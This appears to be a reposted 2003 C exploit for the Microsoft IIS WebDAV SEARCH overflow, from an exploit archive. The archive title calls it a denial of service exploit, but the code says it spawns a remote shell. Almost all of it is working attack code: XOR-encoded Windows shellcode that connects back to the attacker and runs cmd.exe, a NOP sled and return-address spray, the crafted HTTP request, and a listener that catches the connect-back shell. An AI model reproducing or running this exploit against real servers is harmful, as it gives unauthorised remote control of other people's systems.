exploits , vulnerabilities , articles , Microsoft IIS 5.0 - 5.1 remote denial of service Exploit

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/*	 29/05/2003 - by Alumni - */
/* Microsoft IIS WebDAV New Exploit */
/* spawns shell on port 32768 */
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#define SHELLCODELEN	753
#define NOP				0x90
#define BUFFERLEN		1024
#define RET				0x41424344

#define GMHOFF	30
#define GPAOFF	38
#define IPOFF	161
#define DEFPORT	32768


//#define DEBUGGEE_FLOW	// for debug only

#ifdef DEBUGGEE_FLOW
#define GMH		(long)GetModuleHandle
#define GPA		(long)GetProcAddress
#else
#define GMH		0x0100107C	// GetModuleHandle@ 
#define GPA		0x01001034	// GetProcAddress@
#endif


#define XOROFF	11
#define SOFF	16


char prologue[] =
"\xEB\x03"	// jmp $+3
"\x58"		// pop eax
"\x50"		// push eax
"\xC3"		// retn
"\xE8\xF8\xFF\xFF\xFF"	// call $-3
"\xB2"		// mov dl, %key

"\x90"		// %key
"\x33\xC9"	// xor ecx, ecx
"\x66\xB9"	// mov cx, shellcodesize

"\x04\x03"	// shellcodesize = hex(SHELLCODELEN)
"\x04\x14"	// add al, 0x14
"\x30\x10"	// xor byte ptr[eax], dl
"\x40"		// inc eax
"\x66\x49"	// dec cx
"\x67\xE3\x02"	// jcxz $+5
"\xEB\xF6"	// jmp $-8
;


char shellcode[SHELLCODELEN+1] =
"\xe8\x5f\x02\x00\x00\x8b\xe8\x33\xf6\x66\xbe\x80"
"\x00\x03\xf4\xc7\x46\xf0\x00\x00\x00\x00\xc7\x46"
"\xf4\x00\x00\x00\x00\xb8\xf2\x12\x40\x00\x89\x46"
"\xf8\xb8\xf8\x12\x40\x00\x89\x46\xfc\x8b\xd5\x81"
"\xc2\x9e\x02\x00\x00\x52\xff\x56\xf8\x89\x46\xf4"
"\x8b\xd5\x81\xc2\xab\x02\x00\x00\x52\xff\x76\xf4"
"\xff\x56\xfc\x68\x00\x10\x00\x00\x6a\x40\xff\xd0"
"\x8b\xf8\x8b\xc7\x8b\xfe\x8b\xf0\x83\xc6\x20\x8b"
"\x47\xf8\x89\x46\xf8\x8b\x47\xf4\x89\x46\xf4\x8b"
"\x47\xfc\x89\x46\xfc\x8b\xd5\x81\xc2\x6e\x02\x00"
"\x00\x52\xff\x56\xf8\x89\x46\xf0\x8b\xd5\x81\xc2"
"\x7e\x02\x00\x00\x52\xff\x76\xf0\xff\x56\xfc\x8b"
"\xd8\x6a\x06\x6a\x01\x6a\x02\xff\xd3\x89\x06\x8b"
"\xd6\x83\xc2\x14\xb8"
"\x7f\x00\x00\x01"		// put your ip here (run netcat before, 
e.g. 127.0.0.1)
"\x89\x42\x04\x66\xc7\x02\x02\x00\x66\xb8"
"\x80\x00"			// specify connectious port here (e.g. 
32768)
"\x66\x89\x42"
"\x02\x8b\xd5\x81\xc2\x8a\x02\x00\x00\x52\xff\x76"
"\xf0\xff\x56\xfc\x8b\xd8\x6a\x10\x8b\xd6\x83\xc2"
"\x14\x52\xff\x36\xff\xd3\x83\xf8\xff\x0f\x84\x84"
"\x01\x00\x00\x8b\xd5\x81\xc2\x79\x02\x00\x00\x52"
"\xff\x76\xf0\xff\x56\xfc\x8b\xd8\x8b\xd6\x6a\x00"
"\x68\x64\x0f\x00\x00\x81\xc2\x9c\x00\x00\x00\x52"
"\xff\x36\xff\xd3\xc6\x84\x30\x9c\x00\x00\x00\x00"
"\xbb\x00\x00\x00\x00\x66\xb9\x0c\x00\x8a\x84\x2b"
"\x62\x02\x00\x00\x88\x84\x33\x90\x00\x00\x00\x43"
"\x66\x49\x66\x83\xf9\x00\x75\xe9\x8b\xfe\x81\xc7"
"\x84\x00\x00\x00\xc7\x07\x0c\x00\x00\x00\xc7\x47"
"\x04\x00\x00\x00\x00\xc7\x47\x08\x01\x00\x00\x00"
"\x8b\xfe\x8b\xd6\x8b\xce\x81\xc7\x84\x00\x00\x00"
"\x83\xc2\x0c\x83\xc1\x10\x6a\x00\x57\x51\x52\x8b"
"\xd5\x81\xc2\xc9\x02\x00\x00\x52\xff\x76\xf4\xff"
"\x56\xfc\x8b\xd8\xff\xd3\x8b\xfe\x83\xc7\x34\xc7"
"\x07\x44\x00\x00\x00\x66\xc7\x47\x30\x00\x00\xc7"
"\x47\x2c\x01\x01\x00\x00\x8b\x46\x10\x89\x47\x3c"
"\x89\x47\x40\x8b\xd6\x8b\xde\x8b\xce\x81\xc2\x90"
"\x00\x00\x00\x83\xc3\x34\x83\xc1\x78\x51\x53\x6a"
"\x00\x6a\x00\x6a\x00\x6a\x01\x6a\x00\x6a\x00\x52"
"\x6a\x00\x8b\xd5\x81\xc2\xd4\x02\x00\x00\x52\xff"
"\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5\x81"
"\xc2\xbd\x02\x00\x00\x52\xff\x76\xf4\xff\x56\xfc"
"\x8b\xd8\xff\x76\x10\xff\xd3\x8b\xd6\x83\xc2\x08"
"\x8b\xd5\x81\xc2\xb7\x02\x00\x00\x52\xff\x76\xf4"
"\xff\x56\xfc\x8b\xd8\x68\x88\x13\x00\x00\xff\xd3"
"\x8b\xd6\x8b\xce\x81\xc2\x90\x00\x00\x00\x83\xc1"
"\x08\x8b\x5e\x08\x6a\x00\x51\x68\x70\x0f\x00\x00"
"\x52\xff\x76\x0c\x8b\xd5\x81\xc2\xe3\x02\x00\x00"
"\x52\xff\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b"
"\xd6\x81\xc2\x90\x00\x00\x00\x6a\x00\xff\x76\x08"
"\x52\xff\x36\x8b\xd5\x81\xc2\x85\x02\x00\x00\x52"
"\xff\x76\xf0\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5"
"\x81\xc2\x92\x02\x00\x00\x52\xff\x76\xf0\xff\x56"
"\xfc\x8b\xd8\xff\x36\xff\xd3\xe9\x1c\xfe\xff\xff"
"\x58\x50\xc3\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f"
"\x43\x20\x20\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c"
"\x4c\x00\x72\x65\x63\x76\x00\x73\x6f\x63\x6b\x65"
"\x74\x00\x73\x65\x6e\x64\x00\x63\x6f\x6e\x6e\x65"
"\x63\x74\x00\x63\x6c\x6f\x73\x65\x73\x6f\x63\x6b"
"\x65\x74\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e"
"\x44\x4c\x4c\x00\x47\x6c\x6f\x62\x61\x6c\x41\x6c"
"\x6c\x6f\x63\x00\x53\x6c\x65\x65\x70\x00\x43\x6c"
"\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x43\x72"
"\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65"
"\x61\x74\x65\x50\x72\x6f\x63\x65\x73\x73\x41\x00"
"\x52\x65\x61\x64\x46\x69\x6c\x65\x00";


char xmlbody[] ="<?xml
version=\"1.0\"?>\r\n<g:searchrequest 
xmlns:g=\"DAV:\">\r\n"
				"<g:sql>\r\nSelect \"DAV:displayname\" 
from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n";


long retaddr, buffsize;
char* buffer;



unsigned long getlocalhostip()
{
	char buff[128];
	in_addr inaddr;
	if(!gethostname(buff,128))
	{
		memcpy(&inaddr,gethostbyname(buff)->h_addr,4);
		return(inet_addr(inet_ntoa(inaddr)));
	}
	return (-1);
}



ULONG WINAPI AcceptThread(LPVOID lpParam)
{
	int ln1;
	unsigned long slisten, sacc;
	sockaddr_in saddrin;
	
	slisten = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	if (slisten!=INVALID_SOCKET)
	{
		saddrin.sin_addr.s_addr = INADDR_ANY;
		saddrin.sin_family = AF_INET;
		saddrin.sin_port = htons(DEFPORT);
		bind(slisten,(struct sockaddr*)&saddrin,sizeof(saddrin));
		listen(slisten,5);
		while (1)
		{
			ln1 = sizeof(saddrin);
			sacc = accept(slisten,(struct sockaddr*)
&saddrin,&ln1);
			if (sacc!=INVALID_SOCKET)
			{
				printf("\n\nShell succesfully spawned on 
remote host\nNetcat to %d",DEFPORT);
				ExitProcess(0);
			}
		}
	}
	return (1);
}


ULONG SendRequest (char* sHost, int iPort)
{
	char* buffsend;
	struct sockaddr_in saddr_in;
	int timeout;
	unsigned long sock;

	buffsend = (char*)malloc(buffsize+256);
	memset(buffsend,0,buffsize+256);
	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	saddr_in.sin_addr.s_addr = inet_addr(sHost);
	saddr_in.sin_family = AF_INET;
	saddr_in.sin_port = htons(iPort);
	if (!connect(sock,(struct sockaddr*)&saddr_in,sizeof(saddr_in)))
	{
		timeout = 5000;
		setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)
&timeout,sizeof(timeout));
		setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)
&timeout,sizeof(timeout));
		sprintf(buffsend,"SEARCH / HTTP/1.1\r\nHost:%s\r\nContent-
Type: text/xml\r\nContent-Length:
%d\r\n\r\n%s%s",strlen(xmlbody)+strlen
(buffer),xmlbody,buffer);
		send (sock,buffsend,strlen(buffsend),0);
		closesocket(sock);
	}
	else return(1);
	
	return (0);
}


void dispUsage(char* str1)
{
	printf ("IIS WebDAV exploit by Alumni - The Matrix Reloaded
-\n");
	printf ("Usage: %s <ipv4dot> <port> [<buffsize>]
[<retaddr>]
\n\n",str1);
	return;
}

int main(int argc, char** argv)
{
	unsigned long uThread;
	int prologuelen = 0, i;
	char xorkey = 0;
	long *ptr1;
	WSADATA wsadata;

	WSAStartup(MAKEWORD(2,0),&wsadata);
	buffsize = BUFFERLEN;
	retaddr = RET;

#ifndef DEBUGGEE_FLOW
	if (argc<3)
	{
		dispUsage(argv[0]);
		return (1);
	}
	if (argc>=4) buffsize = atoi(argv[3]);
	if (argc>=5) retaddr = atol(argv[4]);
#endif
	
	buffer = (char*) malloc(buffsize+1);
	ptr1 = (long*)buffer;
	memset(buffer,0,buffsize);
	CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
AcceptThread,NULL,NULL,&uThread);
	
	*(long*)(shellcode+GMHOFF) = GMH;
	*(long*)(shellcode+GPAOFF) = GPA;
	*(long*)(shellcode+IPOFF) = getlocalhostip();

	for (i=0;i<256;i++)
	{
		int iBool = 1, j;
		for (j=0;j<SHELLCODELEN;j++)
			if ((shellcode[j]^i)==0 || (shellcode[j]^i)==0x0d 
|| (shellcode[j]^i)==0x0a) iBool = 0;
		if (iBool)
		{
			xorkey = i;
			break;
		}
	}

	for (i=0;i<SHELLCODELEN;i++) shellcode[i] ^= xorkey;
	for (i=0;i<(buffsize-SHELLCODELEN)/2;i++) buffer[i] = NOP;
	prologue[XOROFF] = xorkey;
	*(short int*)(prologue+SOFF) = SHELLCODELEN;

	strncat(buffer,prologue,buffsize);
	
	prologuelen = strlen(buffer);
	for (i=prologuelen;i<SHELLCODELEN+prologuelen;i++) buffer[i] = 
shellcode[i-prologuelen];
	prologuelen = strlen(buffer);
	buffer[prologuelen] = NOP;
	buffer[prologuelen+1] = NOP;
	buffer[prologuelen+2] = NOP;
	buffer[prologuelen+3] = NOP;
	for (i=(prologuelen+3) & (~3);i<buffsize;i+=sizeof(retaddr)) *
(long*)(buffer+i) = retaddr;
	buffer[buffsize] = 0;

	printf ("%s",buffer);


#ifdef DEBUGGEE_FLOW
	__asm {
		mov eax, ptr1
		call eax
	}
#else
	SendRequest(argv[1],atoi(argv[2]));
#endif

	WSACleanup();
	return (0);
}


securitydot.net - 2003-06-01